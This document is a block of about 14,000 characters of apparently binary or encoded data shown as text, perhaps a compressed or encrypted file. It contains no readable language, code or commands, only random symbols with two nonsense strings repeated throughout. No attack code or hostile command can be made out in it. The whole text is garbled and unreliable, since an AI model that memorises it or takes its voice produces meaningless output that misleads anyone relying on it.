O5n)2@m@FXShjoafcklrnhpyz_!\ir$uĖAGɐ.ʺ6yL(	P2){\!E̼4#S3yYb?oafcklrnhpW:5qc?_`@Kmv!yt)=^wgvtifpurqH7W3TTGwʤ r,X,yndwd2Ex=6%NjRoafcklrnhpq VD8iNӖ-L9 &тk7ǰF,~dƓnecE_Qv.)g]Ziys-r2pQ69ƶP Y?yKR7֕N!rPNI$m!ZigBP}tuS&/wgvtifpurqO? ſڋ|UHXV.n.E6zLC1an/BhОD?YXq'wgvtifpurq!"-p7ZIlٽoafcklrnhp!wgvtifpurq(:vL![FV[{n&iEnAW	g0t͸V8kYϥqVr7 &fFl`R/srr=Ҹiwgvtifpurq{6~Kb85dkT_AI_1"zYӇhź03&ɪeLn?1WYڢpH3hcoafcklrnhpRIZ-~^3Հ6:&8sTgwgvtifpurqg(xK~#Յ|FP0_Uҙduv[Vc@
ֲn_Ͼݵ|"tBo0TǠ4
Aؘ+z=X{?F v$w|*a*ޘ MD)`?M\4*+OfSiU i6
)a J|@~.H$LMDzdN .]ڟ}~l.Eyl'ja-180.^vYĦ9Xܽj/5Xz`G
ZsYCy2uȃҿpft)ERI
 ȞzT ևZIYQQgvFp/5fAZЅY췻K;nA @H-_Cja'370+}  ojHf{RM"6bkoafcklrnhp1.Ly6qQSQ-$)Ӣg:k!=?S3Ru=+y)vzI]dqCMʢet	*GĪY0䍈Xl8W8(&Goafcklrnhp\߇WKg1\7}J:; ;a6믴R\|3~_b/[{+Na%=nv說ILv-,eJ
L"H7(P1DJoafcklrnhpuQܙ&Ke8UP(sfkG7l6n7i
 Ur\@e&VLҲ^* ώFߟr)3oafcklrnhp9x%v3wjj$j]/ȵ1';6o,)k-H+ @|'?lD==K @Fi
 pS=DoafcklrnhpW#b=2G1.½u\Mz!wueLl73
r,y{6U+@)m#&R߫V}hTL
07?zt8nC).
l&
O $EaVM4,gـ"2	vƉ鮽2/*~;Hl/43m!=L*-ƿ?$^{xڇ%VlUeʅ5U{]=	ځ1)JDA鳅kwgvtifpurq
=OAFӋuKI+!oT/,(1nh"g}Ff]xU}t
4W|hpC)M݊Goafcklrnhp*Ԁpv+0KAHd"ZiQ TmhWܦ:GG ;Ehזs"&1-Yp@#8wgvtifpurqZYOyxz=lZ_cm.@ƕJw):zr9M"w}g'͐,0D/sgM	oħ6E~|to~_eݜwڇ}ofXR?.'Ԑ4F0oafcklrnhp:|N8clDDsVeI5k(s0،_etmaއrkڠT,/Nuߴfhl@bPE
2B&Rs#^'x&*+-:s{IxZrn/GӜbwgvtifpurqLq Y?@wgvtifpurqe ZB*GD0.ߑ`wgvtifpurq,.tϯ/MKVyHb+aK8Tp]~D\ECEkQIZ՟8"2)ß,OCM#}Q"R+"s~d&У)= G.5	e\}0*n;g}5LO#(or) Vjwgvtifpurqm,'Lwgvtifpurqf̗R)?ǯԶ4b[܎;Jyez#۬O@0sdx,wgvtifpurqTb5	2;4 xTdSꁍsߨ -?,~1ȽM*tcNRq(oafcklrnhp187e^#;bVCO:}*2trP#ޕ*I2I\Lw_߫p~	s+E3Բ:K?(e5)Xb//a|Rtm*'6shXl62 
@ɩ4mWcqz+qJ4'=AX㗠;j$֕w]=u|Pu46V3'f`YJh7uSU_& peͶLdBq!i.6́T؞ω;\H&!op61M"ń]1J}ߖx@0 Q%v0P1T,	#2;ѽZ%rKRJP4a(['Q{q[Q
vۻ)%h3wgvtifpurql:!@IEwgvtifpurqPf \Tɟi6A-ߗ*{^F`ms3IG"Hqp-^6W5WKńXPӗ.CSLX_UfNNjS
bJP7bvw/oMF)0_Y/V!(u/QlS?BƼwllt|xOumrL=_dv8BwNe)i`y@!_e9l淽LZehZqSfB-*ȘHT;iFhDy
׻qx
v9m#DWS3L uNhk䝮 5S;dRik6oafcklrnhp]Xw*xuF8fLsza;Roafcklrnhpx7oSߎ$5SbN-̤/~|V^}ƴ,%#*-Ѯ i`{3~VF7j14spbêНӌr&+1ZS#I9wgvtifpurqMћXz"K5Qˍn0?Yvazv(#lMSHC~ZI%Q͋fQ#oafcklrnhp`oafcklrnhpL:ՉBܓf;#f6qd̟p)g,*짃	:fߟ5X{e 1ӲWϙQ\|3|CFLŌJȃ:ىB6n\lq@8툓Wk
g&:dĵk^	D$5qc`@&Bc2b c }wgvtifpurqmm˿
/p?{°Xa'm~&	v0|m`%pᛳ`.\vWA`ft~]_LKjMT4iɪSM4"*0jRY;4Z%+*lzn}&ؾ)Ί_$zAd=6PO,3O~Tz; kub;iǑW
b Uo rdcpc|5f
X 2"\VD09%(H_Xx:)(1R=Bɂ!{,oareرQ'GZq%h;_1)ꍨFd(jEҦ1'	l=3tb:T/Z#oVVZl0P@OWIwFE؏"~a9?3D[ܸ2HLwFj`OCֹ[0[[B,!wgvtifpurq|eg|pNw2~ʐr^jf1 8Π:uzCsAiPU&dfQ"e,u퓧V
DFXƃ &ГKro4C(;pwgvtifpurqR,@xQQTP~͍a+_TLY]mR4]'gDFoafcklrnhpxR[@aK@P/mo*{GN_
5ysϯǅR4[=]"F=W3HKi!ZHlZ
S	|ޞz]ݸctf
b?/Y^7[?V~0ޙVx}#ddjL3:+DԐ6}	Cg)/~_Nt3~n{`́@|^_5|@aI9'70J7vTm@nEE8}{0dòl	8~E
u `#!Lt]X32W'!	ڟֲmat(*wgvtifpurq_	eS&+k_*^dA#?qsMC:\MJv`twR
xi(ğY=*`.oAGx|GJmʾhO{yY
blKw=! cpN"^}@rD}Q~ 6M,*_V`IEH]H_tjbm"6= 2v:.t-eǺĴq@_ނg[՝=_)ߌdG6oafcklrnhpUTx`v
O7%{*oafcklrnhp5D-?rlUc'CjOnLR
V='_a
u
-}ג8P lY$HEgoJ*1^kvP/{2w7O;n^SRJRvX3(e3Y[rLw=g3gdoafcklrnhp[B| m6@ú-*.-gnП:[fOȘT+&VE}R+udd6Szα:t늞Nr6{O :T29,|TRb@dqM#`9d0GE6~T@l¢gyfuN$aX&I
;y@,(kOC?f0qoafcklrnhp$cH@7bbl{#m~E~K&EOmrjQ#,zyTYŀ_0D@q*O3\u.mk{U	4_4-1!5xPi~
eo$T;_ĲMV!^է-U
.S7g:]ЧwW:MHBth2 +i޼7bX_$1-aX9mdwM;xWfydJ+&k/Xm
X@)U7Θؾhx,[/֑rNN2=vdZfd*O#dlht9QBr_t`20)J ;s($CǵM&D?[_za)
Q~p~?&wgvtifpurqЯnkTQj ~Ǒ%ܢز,,DiJ b!lGRSwgvtifpurq+^YX}nǡ=Gvp$N#S6mȉ:FߟRd=xOɏni{6겘J=C0::)s
J.5-q?Hx`x^`DXkUɣ5xN ;}
ID	vejO"@6,2s0Dw# \U[_Ztd~2RQRwgvtifpurqNmΧbGЊw!NZ1)0ўj]J|`kxlf]~9$?gtD/ȇL_6rzq .Ǳ/Zg{+n_3Ǟps +voafcklrnhpӬ
LǇWxC xǸT轫ϰX^Æ58C-ݷ(5Eߊm&4pTj%ꧪh&4Poafcklrnhp o{\6ewgvtifpurquKwSC[rSU
wH`ExL$hP)QDH`J6ƅ˗UOt3XeX%8 Xם:+llԑ0
yjN05Bi~XPiW0lNh
,]lRl:qm|׽XU`;@Ȼ;͈u"FڿV롶rϑIbwē`L΂n	a̯v:60C,{?	Doafcklrnhp[6j&+djُ]UpˁJ`Uص;=@{F'ā|wW9V
xaUN^U 1QNi\2[LHvywgvtifpurq

)踻+|1m_wgvtifpurq}Rl!&ژa~*7h!B$t~sEUMk7LH,n
$afEmroafcklrnhp="wє$Fcp6B &jUrMC?L|W ;wgvtifpurqcY?IoafcklrnhpDDusA]z*8ĝ90S͎D=0G HN7&.0.o\n1+y5M9_?}{|7W{! p9fഩid,Zj	,O6p,ﲫ %~{ 8UP(BO q.6f5}xnEKzY\,w|_ȅ7ngvoe#C8S,Sd;L$-stpH4ݢ8Oryt!W@|} 62n:ݦ@CqU˶zц$YtdB5l|lb[`:*	 ý-x_ ,wgvtifpurq#Q1 iCȁB;G)w!l};1;u2
D.w%RfMk[oafcklrnhp2+30-+ *ߧ7v8·MrwrRra,7F.u)*DMi/H9B=ϖ#隣
(n&0g^!	1"QJwgvtifpurqKTx`~1o/~:U9̈W" (ƠlbFYm8O/%wgvtifpurq3%3ڴx*Z#GF}
)ZSls7
g-e~_piIm	mexl`wnޛȓ~j~۹D5z|Xl"nSNn"'

qj
DlgX͉'*"$IjƥP1&oafcklrnhp1l@G⓻=4*jb]r
!%Pe9JCxGbK?oafcklrnhpR.oBF`wgvtifpurq&%`ԆIU,&2߬ÑVCU7 ӕ-v}mC-.oafcklrnhp`~Q*7ޖE}JlrmuW=el)pꑷ/Pk=Q^"meBGg]'?Q5#%:$)VS;ST44oKݚNރZJ)7jU&dc&턚2_ʋ,4t 
^}%$;%I%;Ηf[-IvNUmq5"z߭
vua[hE)wgvtifpurq
".H:9ՏC3Z/qQTk$McYla.} a.ww90^Ѣi/q3!$+Ss/
`Z
o'( a!wgvtifpurqǛ@'(d	2?g'm	slС7~V
R90 }\EN*!fLP57l	A_~*$!]r'b+Ue uz͊m/\]ݜ1Q`sV,) GU09]d*m`VȜSCSw(ir	nV=
7ҏgia[o܃{.iʕj:j\+}*Pr	$!
߫]fPڛU6˃?6D:IX_q;
xGPk(Uq=l{qW"[d'wgvtifpurqĴʗK#rLD
Cw]J	Z++7˦W!՚+}A{01TiלD(y(5W9B($6靚$bK\v[1uT3^}x{%8-3Qdhѡ3L^PQEA?ҀCIe/Idny}oafcklrnhpJ*hx/wgvtifpurq@V6nZz)XQKmWaE-E@I)Sץ^Ð(m?9GoafcklrnhpG[ݘ\qVfO@O"hcc e0&{7\.DF'!YDF IFb߬0	q@𯀏4y9[ѫNQ,a.f.nfE1Y-ڜH-1Xjwgvtifpurq&QK	@eS0.NeQ~z |w'bLoafcklrnhpo$jK 薬vL"-r^wgvtifpurqLEGeh88bfЄcx~
P\MTEg:	[q=)OEl24%q
ۋ\(a8)?b
@2==Ugyt4AB$}HNG4DΉK}9p35ӳĊ`ժP&Rk("1&1!λee盼G&u:ݢ5EQY)`)rr(E^oafcklrnhpĹ(Xӥ ey?%	aL٢7#^#J~
Kww̴`#8bκf}mRAtYԪ``;q7e;74ܯ_S|^sb\X˫g2v77pwgvtifpurqDvK:Moafcklrnhp@{?7 ?3]/3 WpYT$Za)-˿oClQneoafcklrnhpL憋v F"	yc_uy޿hCx*An:#8fwgvtifpurq?
xecī. B)9(u?'!=bL/Րϭ_rxI$%gcrFnLoafcklrnhp{g{3/[BU$\ XTr$8jW(s[Rja;iB^_$/|+@4o{^E˳HeUik%');7@iNЩT-[VyQl˕i y.Vo+7%"l/Gt$:5$G5
#\~IHޑlwkc(Lns`5OJ
d`yS[h9va9|	ދFk:T~ T귬ݾ2]
@\wgvtifpurqGI=&ZwAo1/&0-F`r_xo@za^{},򗺭V_01D#sjIPiZƠr{L3^.UǂZ-_I0U_' y
0Yna押aj~oDwkFe :!$u63|Ot;qc1Ѣ* q4XuTtQ3|og̫!˛DtkBc@ḶI0QQ*ڥÂ1rOD_wvYI0Cl`jyjOY&hYG0`Q-]S~  w'Mig#$W=FK%{j2.ӟۖw\ħ|[f	g?2`o~U3ԩbnQ]eiMH4L}.gVO~'gs$\Lkס)&8	uߤ"*՗XA!||~-c)2Rf\ȣ`jʔλ[83^z
-=~71Ē$EޏO*n6{jb
[MwyyA_S+uhZ78m6wgvtifpurqjwgvtifpurq9g^Q99! H~}膚,; C;*ġ#iW-`|QϻރC8?aݸ8Iitn2wgvtifpurq0_3)V ћx"lwgvtifpurq
ZzҲedNt[U|徟KguR/Ags-HAGTpPԷ׮)u
CU
+1h+?P`gmӧf`*DՄWg]63C^&ˣ*W{}p &㌍~b-M_ }b ha~ʯ`%zzӻ#`ٓf:E-*Oڤ1P~"B乷A^Pb§Ѡ3wgvtifpurq%ȃE:A0wgvtifpurqI$"	-\USI?
T
oafcklrnhpQl͹S"Uk7( Y=g=
_3ݡ,??I5|MpB6J)逷K !WI^ s@Su*CSRhV2L\Ta"myMwgvtifpurqc+hh*\t`yf'PHqoFoM-X9G\~cOy6S~16ތZqƴɹO/ߨ!\b%ø=3o4|_Yʳ$p2%zTtLNsͭt5zߣ70[oafcklrnhpf{`;CSA@kߐQ
E[:]B1 OP!0F&gx&[j2=J%2p	l[u۰UnC%zdjUfLn#[=;oafcklrnhp,mɿ^h+/ϋG['fD=fI+ao	'R|:vm; F:H#M!oafcklrnhp-5/
9`ː]\JnSc~K|t(t#j.F0?]kj^hyc,Xy	z"K*IIZHkJ,
6%WQurLVMPX6lt5tW"#N \.˴h~W[6E\t.g"%_/VڇԦ:fwgvtifpurqǁtut~af6Mۉ`ᛲ3PF6ʊ3O
8.M.}[
nAnO^tp#OF"9GLoc0cN/+iLрHEnaĤ
qgbD@OSx0BbQR|W9xBcOJ#a3
8馳_u  N#kzf
oafcklrnhp"Rw.;jIYtjunawN]c(N6.*VaVoafcklrnhp BO ;k-#@R
111_ѭM%{0?(xǹU_.ՏZ]y
vIA!;Lf!s+t7ԷJyF9	MRG0doafcklrnhp{.2&xp|g`$Ix*,]BެVPo̸d7m̆"sIwgvtifpurqvs}m*HyGO({/__BYڈhmjT,]9|m|'fwgvtifpurqi@jnwgvtifpurqא..3I185g_tj[[]!{5.0Fv-;HZM6! [vf
z9bQuIMd;a-])'JޏTO:94H0{	ό0Uj2kDpg6ĊUC׺;ZYsǸQE:?hBϻeqM;LrPqYd - *@2(t4(-||B551Qy#H{ goafcklrnhp`wo1E.	QMgѱxixI$hQ /Q4S!YIV^zB|ehR69d_%;TfcBzvtM4,)oafcklrnhpyJ
I!qiو+|H=}{[oafcklrnhp7=]~2? :,S )B5U`?Ceg] U3G-}DĪbaoafcklrnhpN@\m_1G6;GJFsH;+ҺW%b:ڳ1;wgvtifpurqZwa=\;J/;S`p3qb-2fJ$*,coafcklrnhp(vQ4]kr,-8-*#uphۺXuE!Hl !wgvtifpurqǌ䫿Wo&MHEj4wgvtifpurq۫Q	,15yw0;q.$Kݏa_S{rE\; v01#]T%iř2Twgvtifpurq&kY8ЄEЗ`9
gwgvtifpurq?kʏ}OywNW0p,~ToL0{-:*wgvtifpurq3.A˔[SGdtBGi!0XȒi»lUqmyU'9r0e !C{yWGxW#®wgvtifpurqKǊ&p5mYf,Rr=oafcklrnhpÚ=j=E4T;ƾ̶0^^%gA (f;reYlLx[z+g~@νк\STjm0q! 5e!a.vSd\q}J#
2Ud[҆h6fC?sS/_ЇuAxaFwdHCEϢfN`^
2dfor:sBTUm
a/MuJɶhH`TqnnU[ݛ0kwgvtifpurqX8:gˆ9QjPEptr3PœZr?^$]ۢ!avQC˃bv &3S,G=-k0aDjxзJٳFo穉f~oafcklrnhp,R=o4]TҜwG;#ƞK';oafcklrnhpÌ fK;SS10:tR^`8(ԏ|~Tmbo6+*92ب28[5oafcklrnhpn`I
ҐOLYQ7-̀h%_ZI1gYoks zBIߊHG5ͨ^je%
ގE	~y+ݞQ[&
Sb#Q'!eZTb:2y.& ~Л\-=/t|4]}s
PA Io\b" )A`8=/{%:M~ӿD#)e\ĮH!N!:^φ(`ɥXa犣;uu$&4c4)@ObC֎$=
ZͅV=|Z
^TV`7yh/w13
R\Z޹GP: ͩd|6L@ۉ(
*l%Mc|͑-|B$!6z 38V/N@u
qϰN&}% eͳ|fH+)O_@u.Gbpiܛ)0b		y	$}oafcklrnhpr4
fh20gT@R8
YR4"F\SFeXl&?Avɴok
6Ɣ;5$٥N+;ٍIk{^[jV,sBY{A7ioafcklrnhpXs1=
+m$tesNGi
sG{wmL_m~8G{;2aFD:ƝoafcklrnhpCtZ?		2wgvtifpurq)$ɺrpFMy_- tqՇN2A[aɍCW:5U%\
, l0@ߘ般-.Gs'2$زPuȑ[qy8
^@C
7^AAkXvpRo?l oafcklrnhpRhK{⪓32OXGOB!^oafcklrnhpMv_zO*{@f6'[Z&hHb׉coafcklrnhpJ2MTT{i3G*LUT{ˏUw%&ЈVr?gOM.|ioafcklrnhp^ V;MƱJCt&lJ.[Ț0~+P3^.ζi:|ȈHoafcklrnhpw&nAi\Ep@j"_)R27Jy:= *,u!Owgvtifpurql.ղ#xhYM5WZx
:A($,Foafcklrnhp,/K8&y.(ˢc,V!k%!q}eLs/g mm5&jO@P=ᄻA*{+UyZSwJ9Cl6fg3&]x3أk1N'Gm(]Z(]e*)k{aRvܳr6Gic;תIF3Kas? NfPU	}ğ{nY\zl*F[F+5Aoafcklrnhp#;|Zn;ZP+@
zjb_a,:AzhP~(cƞAqz?VOn1yVwgvtifpurqy'u^sWoafcklrnhpF/Pd:9.ƇifXePzz(2hgWeff~wC5;a$Uz lWO*/1댒hg@%MbݣSq.[YcS'.\y"5bq|oafcklrnhppmrvTC[jlnk*+}wgvtifpurqRõߠm e	[.zQA,)#/wgvtifpurqIޓOY6o[)^wgvtifpurqwgvtifpurq|[o3hZtF-p0ˎ}
Q[%c?UAOoY.רN.Bhoafcklrnhp5{ ;&1hw+ hx
E)ks7d&#=ʽFU*Co~bl#B=XEK)tcZin@m5ǔn"RwW
y4rywPK}"_-MR
ԌooafcklrnhpT0jyQ&V7
)*E:M=IB`xuKl0)P uja-n*
^4eUn6TD,=;M}ޡtAw3 Nou)QvuٌaZ)oafcklrnhpղpJ?7֔ucѐ!\Bze]r*mlLbpWGwgvtifpurqWX"dc-XRǞ}x" 4oCG긩B*ʯ_zҺ+moЯZf57Uoǥ3:ӺR
21!oafcklrnhpW"Ηp֔v`p&GޒS!kn|CNIkߞxUssΆ[(MŲJ,hE	
Q5:CWׅx3zAB{Ƹo:5/K\y@y%5簍}pgߞ1_MȦxoafcklrnhpb	 v%_}+=G~ropW{~i82@á4((2ʪ#Hʗ@Tݢoafcklrnhp=%`1v)_5ћQJokmra_O5譀8Ѿwgvtifpurq4ٍ7ׯ
 3P_0jSw
Ai\JN1#L6!.CN6nr0847} mP7f15Wsso?df$fDosK( vB_A^=XM
	hm2᳼F=gU	y N	Qșz]Q	=u)֙@"ڂ*F)ǤJv&ZHU&1ܾ߁3Bwu*HEf]3y$4ߤ'+T}Rdw97r^W=fIN;
~i1Nry3ӇTz.mee0HaH
/8(/ʓY D/,꽿-BbYzߟ)9k07n '[K;zyJP`."' s*s
X]W2\uybuڮVgBu4OpmzOe-j
D,]
hSN"{
צ(32N"XT6wgvtifpurquO?{+Wq+OII.x]eAuOy8IDj2x E1LFIgQCզ1:oafcklrnhp=@ד߂jF H	&ƩgvZdv}6afv⭙mCV&C	Vd[='M?l"Y"N.Dޯi/3aJNGŊgT
HD&jzŢMIXٜ(ӓYϧa[wgvtifpurq9 :ڳN(3fڳށ/oafcklrnhpMa)4a8Pfaa-|eQDZ^ȯW'`q g@ZE[y`H,'.~RCo%)%nMGp/
xgp,wgvtifpurqA6_jZ䜋*Ecũjw?yُrŻ܃q;/-Aί;	h!D*|1c0XF\TCF-t=~q
eLl[lLD'Sbboa7a*xwDg!өr
J@b*3#mOg%wgvtifpurq58JXkpt	tMVq\w}oafcklrnhpO+MF2c-!A\W g4
t7!zy^ uFA.tv@bI?!#gtO	pwdwgvtifpurqg@N5dbΠڎ=`/r
7Io^? c]/iKn;wgvtifpurq#\`E$oLTG͟GuJMEo*`sꏲ[ʋ; 9(T)E~U|ױ}?⥯e=`JgE{{WM;"IzM^qYKTSȪe+[nOhͷwgvtifpurq
j'PB 0qwgvtifpurqQ_)ӿ')\hi{iҫ)D\yG)b+Ůp̵  O8B sQ*|2Y{o_t
;aTWϛ{2^n+tXZ2lޘ`]{쿬Aa{oafcklrnhpֈڶ{)ŗQV
i$mwoV}8!ۣg=ۀ()q@I!V@;wgvtifpurq`Z_K7c3zGgXȪN^)@i2l˔ cF{
o9HDuq_s%KѾrnHX8b߶QEZnD(H켞ezW!Ҕ_TE@E",!;~}fMկHB#մeZK(}0n'h*Q Z5	ɀwgvtifpurqrL_MʿDY#P]!a?}[Z's.TZ[o
&~FT=-l?וANo$ݨ0TQTpoj \Sl
JP@

9OϺ4T:~戥!W $n5%ζ!%gB\^,3qBCHM#E 
Ad槃sbr3i.,eCmtq(I+COY=@nwK;bGաFn.ezR(ՆoGRP kwgvtifpurqzQ~`vCwk?2`JSR}"2Q\bu}dŨv4iJxm{%n3(j [hWUq񻮎W.
?,;g% 1,w߅$voEOv~)at^=ò(EhO߾S
۶Bӝ3g}Z@j$)4hka3sSKXG슈WeҔ[`։HvO:tǎ	PFQޒBAQ{CʻP]/,wgvtifpurqݑk9!ٱ勒 1G_X\UTD=yO{?07KGp q3_aS ~Un W%޹ZlutQ',U mBĐ'ɅM`'0C]ҒoF}s;k@oafcklrnhpm;gXFnX@33oȌrĒK#q|Rh^'}ׄ\:@ V\ 	\wdp$'GEoTF1y2夂w!72QPL2ǚw]_;p\w! J}VhfcMM	FJm&.4W.)8lǫpR.֘1G}ݱج+%g; 

Fc6J&j~8p9wgvtifpurq9۝lIX\&?ckDEIQw 華=wgvtifpurq?RΤ
Pb1)0ڔaHy0AR6#"¹Xoafcklrnhp0VrW#?G\7M4=E(r@oafcklrnhpJ6,LowN*D!~Ƹ.9+iM$E!}{}5H' +.`ic[~фj,~s7N	JVЗUiwੁPf`ޝ(
!1c+Z)Ha| d$	0S(}C4"uy$ugĥ',7QUm6Д1MLDNs'Ŝl@eMhYh%|
'('qӽsrvxϡս4[N@IBT'xt,q
H'voZ,ړoafcklrnhp|]2	x!EYR8ZvA_oafcklrnhpVRd+GR׽Kd!ߨ q*॓m#Tv7DNJVCe!tOus^uz^Pb5q2yLY\lpP؋}ny[FN.0)|%Hoafcklrnhp3sg!Z;	r&6j7lZ_)"Ez	p-~*jĆ~U!RǬqtuїtwgvtifpurq'aըSi~Hq%9iMSevQZ`|)t}D+!!u|uu(٢`c&b,!4ƨ~r-+$_( 0LYMe:nUrK(@{/@G+eL"Y*eV41KWƤ:{w_pIYݶ'tecQY("mvktFK8YZ.p*k9oafcklrnhp}_L1zXe aV]SjIޑhȲ!	(m*%
?oafcklrnhp$ٴvù\P{UcS_%;ezQNiwgvtifpurqYWr^+dKGR֖irԳJg#/ԿKln!~@sz7v#WD1XVZ7*/oafcklrnhpzUmƣl׊DdJooafcklrnhphrwS@EgH3¶2Hϡڨ!鑒UKL6Hw_"@(|5|RmxGV+5q#\7= Ύ,5h[o 9C7E1R_	8Lbte3ǢWjPU[r_wJ}U'Ha$TX8S\~Eooafcklrnhp(!V.!9r&FZtRzMʤHpp: wgvtifpurq-ӤRHA)#8}( |JJLQMFyFH :C1OѦ
3`H_r?rյ?}98 ?Ԡ")FQVQfYa8c
^c,B_ݑIke-;gvYyKb+ɛ_Ut] M\Cx|#";	%\7E8
oK72
P9Pf7lZYT8ڮBUc`-J?!*K36-H`/=r
qz_D˘nJ䌷$
&P1ݻLaHJ
h\TRf%"p' ?aV洮c lsJϫªK$-mQaPCk@BΆ{tYwgvtifpurqD6pJo(RF1׊oOy$	CdYk؏=R^Ӣ3rGmL/`"ր/@aZ]_jNud^œ N8,͆|eU_@rObIuU
5@+z[Bv*dhTج"w)&oafcklrnhp=hJM]擠HSckoafcklrnhpiF%\%̝ѰmSzCkV1^jOvy)ڋfÆPd7&NP*D|44'+tڌ]L9AЀ`3|d-#
UKXH*7VDAb9&P+}޹L޿0eQKmkOެ%wUa %E&3?u4y#IۄG{q骁xӄJe{#
qӈ_F	TwV,JeO&l VM6NPn$JAnOeɉ]'TY*پ"$q TeoU_01g~%EÅMjry. IYjIp~w	Pi}PT_eeKYr7zӴ#S2B
w"-e1w&
n\U0@CqX:c5$CO^.v6vCʌ@PY4~m%gYOV)Iz+Pt􀆚$'oGֵt!b7ӏd vvC0H;CNH;7ش2:YGUy!IGpRjhD?_Kn	fѧȖs/f1M1k-_GVF jdK~U@.WuP9")j=wgvtifpurqjgr۩~{[ESOx-.柏I?Ug@{&(nGLoafcklrnhp_~tqg2sB(CjH+ԣi`yb5.IN:`hʕe+hKMQItr&p{tZ9_wgvtifpurq4TfRש#hbS\2[HĬ-"R#@I7~wgvtifpurq^Xk1x]9idV*u{Qgӟ^ݨG.dV.}L.F$
HB:奐sNƼlOIۡkY|4`;\rיmX?j9Tb23
"T%a
jqBe8 )c9ɒqFٺe C+n0wgvtifpurq@뽷K*o1tX[@b&(VHǫLNYdoafcklrnhpQ
Z(8{\RPd
ȓ|9w̷L{A~L1zbX0w$\m̲ϚPF\1&Ϧ}#dypmQRfϒj+eB
~/
!M{:/]2DjPX\[#VX	J
ޞ]熑N	@ũ|]!AV~)4CHhmg uTT*McA뀏u,@] }LI%)K&ƬKfwgvtifpurqjoafcklrnhp	+WQ;'a`~@V[Ԏ|/ƻdl8 0fI	JwfSfT.xz1bv7-'@Zo-^ɀa`K=R(w*jWݧy ˏT=|t֍־xwB-lpD%l1V K꾳ckhĪЧRv6jj:"Ep/?+)gL1ⴉ=NuX5Dnbյoafcklrnhpԉ
R7R?{gKMՌK=j1-druv,S$iJt_=-xD@7e~*2%*.=?|=~[R:?]N
;s0?O03X2(oafcklrnhp_N{K1Xg	1ea6tg}"#
Aa$x;P(oafcklrnhp;80ԪVٹ)vW3\;:%=&.CR/$}JMz	fx'Co[+h	2 XiPԽ2l\\G3T_IE:]悦Yڳ?G@^f-Ʊw;qJ~wgvtifpurq#Qʁ|$Ә4~;?f$Tjz# |ACS!YtQCRo!UѴ,C1cٵ%F&w`"Ah1Y*fY)i崢E$	]jvUo!,&k!驏ǋ7RSޝVeLϐ|FQَaq0iV8Tx~{}Gߚe#7):!6nՑ& /_̆:X.NXC$Zڜ6HSE)I"IA1/";p2?d}cp%o-@⒚6a}xSy17aOٱ毴3Սyv
oafcklrnhp~nR5FM6SB
£n0[A8gsq+NIh?3`fwgvtifpurqO?x'+^y͹&ܙnHz\ݽ8	4lܖAmH
2HYȊtK7%}O:wgvtifpurq	Pv:.2g8㮗}:{X$NlāI
jwgvtifpurqϐQoafcklrnhp1тwUwPY?-TA8#4dՄs0.v 7f lbKt"E:oafcklrnhpH)޽!=9kصE9|)Vz+Goafcklrnhp4YX̗;`3wgvtifpurq:Jk\~~ߙhm)cx"Ք}jGxu兀JOuCxc{fe*2\?,~طoafcklrnhpAnE4 f:|j˸ry"[^O^Q$m{3N2rޕ&庾15`nkU7{+w	tE=Ժ涯ݙ]K8؉CX[ow2y?Y`"R4!es(+oafcklrnhp|ʦY!/Ja3TaKaxd枊N)-T1%_c|[g z фu ġ$"teoafcklrnhppWZܦbhȸ1[ (『'ɭLvøPwgvtifpurqoafcklrnhpXtE$#|8GߘE6Fϐ&l	:	,]
h88 ͜#9fe+Íμi
 zw)LXv^zӻġYCM{y[x^5&E/+.i:pK~rS*z/h̗Z[Ňrb
ՠE*;k!1]ǖ}lODfl'H:y[nˡdʦpJ0KD|t6 x|3:",ƉjX)^P Fz\7~SP@(s4cgᄏ KŧN
(`IH[ҫ^ᢃYNωdwgvtifpurqXHiA5;/Ihg_|o@W~z
;[˿LQEIyF=KA(ƥDk c
EE6
Z&=7oafcklrnhpD /! _!Þ곤*jϤOX
"ń[-IlW2{+lqK,^??/3aM)}H:nevڅgdf+90$dRcm㖱IOY[IoO9.9^ V.JX8]e$
.-můS_OePH OxXmQhp #}ړ(,	yE@_&wgvtifpurqoafcklrnhpC#4Y$K}q@hDP:jwgvtifpurqG\	E6wFt#f(Õ=yW6L=m]C&	uO?T;2-#uP SHYVm$H[
HEq~i6c!wYE9;x{tzPxUjHg(cMM(9JěaBDss;ǉAdoE䦵N7oafcklrnhpڛ9Moafcklrnhpo"vHJZ_;v
1{t{qϙʩqgR1V5̈́t4r _ZX7/%T~}+$`CwgvtifpurqS3wgvtifpurqO}0Kۜ
[yTLl,r)qFIKPb."D
;@=ϭ
:߹Zu8KȬ2'᪝oZoafcklrnhp,jq҂#0&iq
 MmB&:xmKW^zsפs.IK7Y|.\D	i&~d9'N;Itb/ŃZwgvtifpurq*OҼ|(~AQ@)Y"3CT3vVz[_
˸K,"b]4**E+%^W)LkhϷۧoo5o\O}fI#ߠ,4)qUl&0V)Uy&$/sϠ{{5}|k:s5-\Cfjx(dTu(0*N%$*	w '.m#is #J s,O
ٶ!qA eAcrM=fEFXWE.9;-"c K%DzJ}0oafcklrnhpaձP-oafcklrnhp!3qt-=S
TT{%	p漅`mnZT6~X"u	j8Z?%.\QDn6a]A'}	ˣZ	Q,9f|(%d8RMoafcklrnhpǈgªT6}؛(CBM4hQX≳kFlw]ď 2IՊvS
.:ϛ94ٺC.VB)L7^?*$/B6{(|$yVE9i!}c%[`UC"qnn^2oafcklrnhp|Ehc5^_E9&My]bkgvDe=IB?&u
t`xoafcklrnhp3ƓLγ#ާ"
w2Ο14U\v*$cL?UW3el
j|gk؃+

ŉ q-4̃:I~~R姳2oI5"=;/?ѽhtrZ :+b9o͔?	ͦ-/_D87+U;C@1W,
	|rBqJJö,Y^g8Io.$ssdvREz
M?le0MhOu P D
MLE8}wWfmyƚl/MCT*(',~O ^YwYbP^c}h Y{)ioafcklrnhp08oafcklrnhpb]/414?vc%/ذtyƉ7mm8­:(	ٟcRʡ]\@Sk1^[kvbԷ۞V1$|j-/.S$m__.-%LL1wgvtifpurqж$iFT{[inK=vT4oY!$wgvtifpurqa^k"}ӺT'K36H(۱FYldp!bM%3G^&1]-1-N~dxVB̴Yoafcklrnhpr\H,!yB8 ؉
l-(
OV9OܷK~vIH;jFd	\#{O%7zևAunPH`0힦f u8Ǹ+rלn,?mC{19|nF3/MSAZzg9\蓼Q!(В5{:{kƫAsr`1
N(
^$?ݚd!P&)
 Z+Z j%|G1|v8}
